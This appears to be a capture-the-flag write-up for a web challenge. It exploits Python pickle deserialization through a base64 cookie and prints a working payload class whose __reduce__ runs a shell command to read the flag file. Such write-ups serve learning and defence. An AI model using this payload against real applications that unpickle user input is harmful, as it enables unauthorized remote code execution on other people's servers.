Baby Website Rick

Pickle Deserialization with a slight twist

We are presented with a web application that seems to point to some form of pickle deserialization attack from the start.

We can also see that a suspicious looking base64 string is encoded in the cookie, which seems to be a pickle object.

We can first try to decode the existing pickle object with pickle.loads, adding the appropriate anti_pickle_serum object.

import pickle
import base64

data = 'KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu'
class anti_pickle_serum(object):
    def __init__(self):
        return None
    
data =  pickle.loads(base64.b64decode(data))
print(data)
## OUTPUT
(12) โ”Œโ”€โ”€(12)โ”€(kaliใ‰ฟkali)-[~/Desktop/CTF/Web/Baby Website Rick]
โ””โ”€$ python2 decode.py 
{'serum': <__main__.anti_pickle_serum object at 0x7f8b351843d0>}
                

We can now craft our payload based on this article , using the __reduce__ attribute to place our malicious code.

After some trial and error, i realized that os.system() doesnt directly return my command output which is why i opted for subprocess.check_output as it captures the standard output of the external command as a string and returns it.

import pickle
import base64
import subprocess
import os
class RCEStr(object):
    def __reduce__(self):
        #if output is not shown, can use subprocess.check_output as well
        return  (subprocess.check_output), (['cat','flag_wIp1b'],)
    
pickle_data = pickle.dumps({'serum': RCEStr()})
payload = base64.urlsafe_b64encode(pickle_data)
print(payload.decode('utf-8'))

Pickle's Protocol might matter in this case as well as the version of python that you are using as I only got it to work with python2 and protocol 0.

Last updated